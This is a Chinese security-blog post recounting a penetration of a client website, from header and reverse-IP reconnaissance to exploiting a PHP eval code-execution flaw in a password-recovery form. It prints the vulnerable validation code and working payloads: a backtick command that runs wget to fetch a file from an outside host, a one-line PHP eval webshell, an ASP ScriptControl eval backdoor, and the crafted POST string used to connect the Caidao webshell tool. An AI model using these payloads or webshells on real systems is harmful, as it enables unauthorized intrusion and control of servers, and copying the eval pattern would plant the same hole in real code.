一次渗透录

暗月博客 2019年11月21日15:48:05评论479 views字数 2654阅读8分50秒阅读模式
摘要

一次渗透录               前言:暗月小组作为一个低调职业渗透的团队,目前遇到一个好的案例 在此和大家分享。

一次渗透录

               前言:暗月小组作为一个低调职业渗透的团队,目前遇到一个好的案例 在此和大家分享。

             0x1:信息网收集

               curl header的获取 旁站的获取

               根据小编的渗透经验大家可以用来参考;

                header获取 如图:

              这里是centos 安装 curl yum install curl 自动安装 完成好 使用 curl -I url 命令对服务器信息进行初探

              在此可看到 web应用服务 架构是 ubuntu php apache 从cookie信息已经可以肯定web的程序是php

                一次渗透录

                ip反查:

                www.biying.cn ip:ip

                因考虑客户的安全防止破坏 在此以我们论坛的ip为例

                如图:

            

         一次渗透录

          端口收集 可以使用nmap工具等工具进行扫描,在此省略。

        0x2:漏洞发现

          漏洞扫描 ,大家使用wvs burpsuite等 假如网站不大 内容比较少且为php的是时候 我建议大家使用wvs 是一个不错的选择 。在多次的扫描中 我们发现在会员的取回密码处发现一代码执行漏洞。根据小编的习惯 对于截包发包工具 小编多使用burpsuite,因为burpsuite在所有工具中较为出色,打开ie设置代理 成功截包如图

        一次渗透录

       修改包进行测试 可以看到一串md5值

        一次渗透录

        已经确定是真实存在代码执行。这是可以使用

${@{print `id`}} ${@{print `wget -O test.pho  http://www.xinyuse.org/xx.txt`}}这里注意不是双引号是 ``是反引号。

进行各种命令操作 。遗憾的是本次测试虽然命令都可以成功执行 但是创建 修改 上传 webshell均失败 经过多次测试都未能如愿突破。

    0x3:菜刀突破

        细看漏洞的形成

 //校验用户输入的数据  function validate()  {   $arrErrorMsg = array();                   //提示信息   $errorMsgNo = 0;                          //提示信息编号   $isize = count($this->arrCheckData)/4;    //校验条数    //依次校验数据   for ($i=0; $i < $isize; $i++)   {    $fieldId = $this->arrCheckData[$i*4];                  //表单字段Id    $fields = explode(",", $this->arrCheckData[$i*4+1]);   //相关表单字段Id    $method = $this->arrCheckData[$i*4+2];                 //校验方法    $msg = $this->arrCheckData[$i*4+3];                    //校验失败的提示        $fieldsNum = count($fields)-1;                         //相关表单字段数量    for ($j=$fieldsNum; $j >= 0; $j--)    {     $field = $fields[$j];                              //相关表单字段     $rdata = "data";     if($j>0)     {      $rdata .= $j;     }          $method = str_replace($rdata,"/"" . addslashes($_REQUEST[$field]) . "/"",$method);    }     if (substr($method, 0, 1) == "!")    {     $method = substr($method, 1);     eval("/$b = !/$this->$method;");    }    else    {     eval("/$b = /$this->$method;");    } 

              漏洞的形成是 eval 造成的 是从表单里面 获取值 然后使用addslashes进行过滤,可惜的是 根本没起到过滤作用 造成了漏洞的形成,代码执行时可以直接写shell的 但是用菜刀更为方便 于是在本地写了一段代码进行测试。

0x4 本地测试

       <?php error_reporting(E_ALL & ~E_NOTICE); $str="fuck you webshell $_POST[cmd]"; eval("/$str = /"$str/";");  ?> 可以看到成功执行代码。

一次渗透录        

   0x5 菜刀连接分析:     一般我们使用我们的一句话木马是这样写的 所以可以直接使用菜刀直接连接 但是我们这里的场景是 一个post提交里面要

<?php @eval($_POST[cmd]);?>

再包含一个post或者get 菜刀也考虑到这一点 不得不说菜刀一款强大的网站管理工具,从菜刀的手册里面可以到看到
 

B) 其它方面:  -----------------------------------------------------------------------------  添加额外附加提交的数据,如ASP的新服务端是这样的:  <%  Set o = Server.CreateObject("ScriptControl")  o.language = "vbscript"  o.addcode(Request("SC"))  o.run "ff",Server,Response,Request,Application,Session,Error  %>  那么,菜刀在配置处填入:  <O>SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("pass")):end+function</O>  然后以密码pass来连接即可。

     使用<o></o>构造数据包:

    经过多次测试 再后得出的值是这样的的 如图:

 

 cmd=${@eval($_POST[moon])};moon=${@phpinfo()}

一次渗透录

那菜刀的连接 如图:

一次渗透录

成功渗透目标网站:

一次渗透录

 

0x5 总结

           此次本次渗透共花了小编两天时间,从发现到突破并不是一路顺风的、多多少少会有阻挠。

           再后一句:令学活用已有的知识很重要。

                                                                      转载请注明来源 www.moonhack.org

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日15:48:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次渗透录https://cn-sec.com/archives/70976.html

发表评论

匿名网友 填写信息